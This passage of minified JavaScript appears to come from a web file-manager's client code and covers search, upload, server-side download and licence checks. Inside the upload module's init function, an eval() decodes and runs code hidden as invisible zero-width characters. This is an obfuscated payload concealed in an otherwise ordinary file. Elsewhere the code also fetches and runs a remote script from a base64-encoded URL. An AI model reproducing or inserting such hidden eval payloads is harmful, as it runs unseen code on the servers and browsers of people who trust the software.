n=require("./tpl/theme_diy.html"),o=template.compile(n);t=o(i)}$.setStyle(t,a)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),a=e.document.documentElement;a.requestFullscreen?a.requestFullscreen():a.mozRequestFullScreen?a.mozRequestFullScreen():a.webkitRequestFullScreen&&a.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,a,i){var t=UUID();(i===void 0||""==i)&&(i=t);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+t);if(1!=e.length){var a=ShareData.frameTop();e=a.$("."+t)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(a){}},100)},50),o},userSpaceHtml:function(e){var a=e.split("/"),i=parseFloat(a[0]),t=1073741824*parseFloat(a[1]),n=core.fileSize(parseFloat(a[0])),o=core.fileSize(t),s=n+"/",r=100*i/t;return r>=100&&(r=100),0==t||isNaN(t)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,a){if(void 0==e||""==e)return"";if(void 0==a&&(a=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var t in i)if(e>=i[t])return(e/i[t]).toFixed(a)+t},uploadCheck:function(e,a){return a=void 0==a?!0:a,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(a&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(a&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(a&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/core.search",[],function(){return function(e,a){var i,t,n=function(){var n=trim(core.pathClear(a),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),t=c(),t.path=a,""!=e&&(t.search=e),$("#search_path").val(t.path),$("#search_value").val(t.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(a),s())},o=function(){return t={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(t)},r=function(e){var a=htmlEncode($("#search_value").val());if(e=htmlEncode(e),t.is_case)e=e.replace(a,''+a+"");else{var i=e.toLowerCase().indexOf(a.toLowerCase());e=e.substr(0,i)+''+e.substr(i,a.length)+""+e.substr(i+a.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var a=$(this).parent();return a.toggleClass("open"),a.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path")),t=core.pathFather(i);return core.openPath(t),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));return ui.pathOpen.open(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var a=$(this).parent().parent(),i=pathHashDecode(a.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var t=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:t,lineIndex:$(this).parent().find("[data-line="+t+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,a.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(t)})},c=function(e){var a="box_search_config";if(void 0==e){var e=LocalData.getConfig(a);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(a,e)},d=function(e){var a=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),a.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),a.html(""),void 0;var n=template.compile(search_list_tpl);if(a.html(n({code:e.code,data:e.data,LNG:LNG})),t.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var a=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),a.html(""),void 0;var t="index.php?explorer/search";G.share_page!==void 0&&(t="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:t,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var a=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=a[0];if(typeof G[a[1]]==a[2])return e;var i=a[3],t=authCrypt[a[4]](G[a[1]],i);return t&&27==t[a[5]]?(e=t[a[6]](10,1),-1===$[a[10]](e,[a[0],a[7],a[8],a[9]])&&(e=a[0]),e):e},t=i(),n=a[11],o=function(){var e=hashDecode(a[12]);G[a[13]]!=a[14]&&(e=hashDecode(a[15])),alert(e),Tips[a[16]](e,!1),$(a[18])[a[17]](),setTimeout(function(){Tips[a[19]](e,!1),window[a[21]][a[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[a[4]](a[22],a[23]),r=authCrypt[a[4]](a[24],a[25]),l=function(){if(typeof Config!=a[2]&&Config[a[26]]==a[27]&&t==a[0])for(var e=[{key:LNG[a[28]],find:s},{key:LNG[a[29]],find:s},{key:LNG[a[30]],find:r},{key:LNG[a[31]],find:s},{key:LNG[a[32]],find:r},{key:$(a[34])[a[33]](),find:s}],i=0;e[a[5]]>i;i++){e[i][a[35]]||(e[i][a[35]]=a[36]);var n=e[i][a[35]][a[37]](),l=e[i][a[38]][a[37]]();if(-1==n[a[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:a[40],O:a[41],P:a[42],Q:a[43]},i=a[44]+e[t],o=a[45]+i+a[46]+LNG[i]+a[47];t==a[0]&&$(o)[a[49]](a[48]),$(a[65])[a[64]](a[50])[a[63]](a[50],function(){if($(this)[a[52]](a[51])==a[53]){var e=core[a[55]](core[a[54]]),i=a[56]+n+a[57];e[a[61]][a[60]][a[38]](a[59])[a[58]](i)}else Tips[a[19]]($(this)[a[62]]())}),$(a[65])[a[67]](function(){window[a[66]][a[21]][a[20]]=n})},d=function(){t==a[0]&&$(a[70])[a[69]](a[68]),-1!==$[a[10]](t,[a[7],a[8],a[9]])&&$(a[72])[a[71]]()},p=function(){core[a[73]]=function(e,i){return a[74]+e+(i?a[75]:a[36])+a[76]},core[a[77]]=function(e){return core[a[73]](e,!0)},core[a[78]]=iconSrc=function(e){return a[79]+e+a[80]},setTimeout(function(){var i=base64Decode(a[81])+a[82]+UUID();e[a[84]](i,function(e){try{e[a[83]]()}catch(i){}})},2e3),core[a[85]]=t,core[a[86]]=core[a[87]],core[a[54]]=hashDecode(a[88])+G[a[13]],l(),c(),d()},u=function(e){return t==a[0]&&-1==e[a[37]]()[a[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==a[89]?(n=e[a[90]],o=s[t]):(n=e[a[90]],o=r[t]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,a){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),t=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';t.find(".item").length>0?$(o).insertBefore(t.find(".item:eq(0)")):t.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar"); +$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+a+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,a,i){core.ajaxError(e,a,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var a="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var t=(i.size-l.size)/(i.time-l.time);if(c>.2*t){var n=c;c=t,t=n}else c=t;a=core.fileSize(t)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+a+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var a=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,a){uploader.skipFile(a),uploader.removeFile(a)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),a=0;e.length>a;a++)core.serverDwonload(e[a],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var t=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};t()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(a){a.code?(i.reject(),e.file.checkChunk=a.info):i.resolve()}});else{var t=e.file.checkChunk;if(t&&t["part_"+e.chunk]==a){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var 